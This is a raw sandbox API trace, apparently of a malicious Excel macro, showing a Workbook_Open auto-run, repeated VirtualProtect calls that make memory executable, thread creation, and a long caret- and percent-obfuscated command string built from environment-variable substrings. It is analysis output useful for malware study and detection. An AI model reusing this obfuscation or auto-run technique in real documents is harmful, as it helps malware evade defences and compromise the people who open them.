_DstSizeInBytes=0xe, _Src=0x27d639 | out: _Dst=0x27d630) returned 0x0 [0081.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0081.562] _mbscpy_s (in: _Dst=0x27d5f0, _DstSizeInBytes=0xe, _Src=0x6762c7e | out: _Dst=0x27d5f0) returned 0x0 [0081.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.563] _mbscpy_s (in: _Dst=0x27d5f0, _DstSizeInBytes=0xe, _Src=0x27d5f9 | out: _Dst=0x27d5f0) returned 0x0 [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0xb6ff3c0 [0081.563] strcpy_s (in: _Dst=0x75e6d40, _DstSize=0xe, _Src="Workbook_Open" | out: _Dst="Workbook_Open") returned 0x0 [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.563] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.563] GetCurrentProcess () returned 0xffffffffffffffff [0081.563] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x45) returned 1 [0081.563] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb6dc6c0 [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.563] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.563] GetCurrentProcess () returned 0xffffffffffffffff [0081.563] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x45) returned 1 [0081.563] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7242cf0 [0081.563] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x8, _Src=0x6762c56 | out: _Dst=0x27d630) returned 0x0 [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07a8f0 [0081.563] strcpy_s (in: _Dst=0x75e6d58, _DstSize=0x8, _Src="tremors" | out: _Dst="tremors") returned 0x0 [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.563] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.563] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.563] GetCurrentProcess () returned 0xffffffffffffffff [0081.563] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.563] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0xb684ac0 [0081.564] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ecaf0 [0081.564] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.564] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a890 [0081.564] GetCurrentProcess () returned 0xffffffffffffffff [0081.564] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.564] GetCurrentProcess () returned 0xffffffffffffffff [0081.564] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.564] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a830 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb684ac0 [0081.565] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a7d0 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.565] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a710 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.565] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a6b0 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.565] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a650 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.565] GetCurrentProcess () returned 0xffffffffffffffff [0081.565] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.565] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb684ac0 [0081.565] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.566] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a5f0 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.566] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xb684ac0 [0081.566] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.566] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xb07a590 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.566] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x4) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.566] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x4) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.566] GetCurrentProcess () returned 0xffffffffffffffff [0081.566] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.567] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x40) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.567] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x40) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.567] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x40) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.567] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x4) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.567] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.567] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.568] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x40) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.568] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x4) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.568] GetCurrentProcess () returned 0xffffffffffffffff [0081.568] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.568] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27e6ac | out: lpflOldProtect=0x27e6ac*=0x40) returned 1 [0081.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0xb604fb0 [0081.569] IMalloc:GetSize (This=0x7feffc15380, pv=0xb604fb0) returned 0x8 [0081.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0x6e67c40 [0081.569] IMalloc:GetSize (This=0x7feffc15380, pv=0x6e67c40) returned 0x78 [0081.569] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0081.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x40) returned 0xb6feb50 [0081.569] DispCallFunc (pvInstance=0x6e67ca0, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x27e610) returned 0x0 [0081.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee5a61778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x27e0d0 | out: lpThreadId=0x27e0d0*=0xab8) returned 0xd74 [0081.570] PeekMessageA (in: lpMsg=0x27e070, hWnd=0x202cc, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x27e070) returned 0 [0081.570] GetActiveWindow () returned 0x202d2 [0081.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.571] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb6d8700 [0081.571] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7f50000 [0081.576] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xb19eb00 [0081.576] IMalloc:GetSize (This=0x7feffc15380, pv=0xb19eb00) returned 0xc0 [0081.576] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x200) returned 0xb4b2fb0 [0081.576] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.576] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.576] GetCurrentProcess () returned 0xffffffffffffffff [0081.576] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x44) returned 1 [0081.576] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.576] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ed390 [0081.576] IMalloc:Alloc (This=0x7feffc15380, cb=0x318) returned 0x71ea3e0 [0081.577] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5feba0, cb=0x78) returned 0xb5feba0 [0081.577] IMalloc:Free (This=0x7feffc15380, pv=0xb07a5f0) [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.577] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.577] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.577] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.577] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.578] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.578] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.578] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.578] GetCurrentProcess () returned 0xffffffffffffffff [0081.578] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.578] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.579] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.579] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.579] GetCurrentProcess () returned 0xffffffffffffffff [0081.579] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.579] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27ca2c | out: lpflOldProtect=0x27ca2c*=0x40) returned 1 [0081.589] GetCurrentProcess () returned 0xffffffffffffffff [0081.589] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6dac, dwSize=0x44) returned 1 [0081.589] RtlLookupFunctionEntry (in: ControlPc=0x75e6dac, ImageBase=0x27c918, HistoryTable=0x27c920 | out: ImageBase=0x27c918, HistoryTable=0x27c920) returned 0x0 [0081.589] VirtualProtect (in: lpAddress=0x75e6dac, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27ca1c | out: lpflOldProtect=0x27ca1c*=0x40) returned 1 [0081.589] RtlAddFunctionTable (FunctionTable=0x75e6e00, EntryCount=0x1, BaseAddress=0x75e6d00, TargetGp=0x27ca1c) returned 1 [0081.589] GetAsyncKeyState (vKey=27) returned 0 [0081.590] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb62db30 [0081.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb60fb74, cbMultiByte=674, lpWideCharStr=0x7f500dc, cchWideChar=1350 | out: lpWideCharStr="^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo%%^i8T3%%^bn%%^OZ%%g^BQ%%^I^r%%D^vI%%^VDG%%J^V^w%%uq^LY%%l^V^p%%G^U%%LI%%3^M^K^1%%0^A%%q^G%%bO^q%%^cI%%X^j%%^3R^Y%%bI^He%%^cOyd%%^h^g%%l^R%%^dv%%^rp%%q^X%%^olr8%%o^JV%%^A2%%cni^h%%I^G4^Q%%8^i47%%c2^Q%%3^C^he%%O^c^W^L%%^oP8%%DQ%%b^HT%%^ID%%e5^S%%p^v%& ,, ^c%pROgraMDaTA:~ 9, -4%d, , /%programfILES:~ 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"") returned 674 [0081.590] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ed7e0 [0081.590] IMalloc:Alloc (This=0x7feffc15380, cb=0x588) returned 0x70758a0 [0081.590] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb6d8740 [0081.590] IMalloc:Realloc (This=0x7feffc15380, pv=0x6e6a840, cb=0x80) returned 0xb30c810 [0081.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b8e, cbMultiByte=7, lpWideCharStr=0x27c6b0, cchWideChar=8 | out: lpWideCharStr="talljo") returned 7 [0081.590] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3009f0, cb=0x100) returned 0xb5af250 [0081.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b8e, cbMultiByte=7, lpWideCharStr=0x27c6f0, cchWideChar=8 | out: lpWideCharStr="talljo") returned 7 [0081.590] 